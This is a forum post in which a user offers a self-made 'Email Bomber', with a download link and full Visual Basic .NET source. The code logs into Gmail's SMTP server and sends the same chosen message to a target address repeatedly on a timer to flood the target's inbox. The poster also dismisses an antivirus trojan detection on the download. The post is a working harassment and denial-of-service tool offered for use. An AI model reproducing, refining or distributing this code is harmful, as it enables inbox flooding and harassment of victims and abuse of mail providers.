[Gingie]

Simple and easy Email Bomber I made. Not much explanation to do for this lol.

Download: http://www.mediafire.com/?4efqda5d3c3oyko
Virus Scan: https://www.virustotal.com/en/file/accad...374116611/
(Ikarus is saying trojan, but Blue can vouch that I make 100% clean programs..Plus honestly why would I put a virus into an email bomber xD)

Here's my source

Code:

Imports System.Net.Mail
Imports System.IO

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Start()
    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Timer1.Stop()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim MyMailMessage As New MailMessage
        Try

            MyMailMessage.From() = New MailAddress(TextBox1.Text)
            MyMailMessage.To.Add(TextBox3.Text)
            MyMailMessage.Subject = TextBox5.Text
            MyMailMessage.Body = (TextBox4.Text)
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
            SMTP.Send(MyMailMessage)

        Catch ex As Exception

        End Try
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Interval = TextBox6.Text
    End Sub

    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
        MsgBox("You have to set the time interval first and click set speed before clicking bomb. 1 = 1 second. ~Gingie")
    End Sub
End Class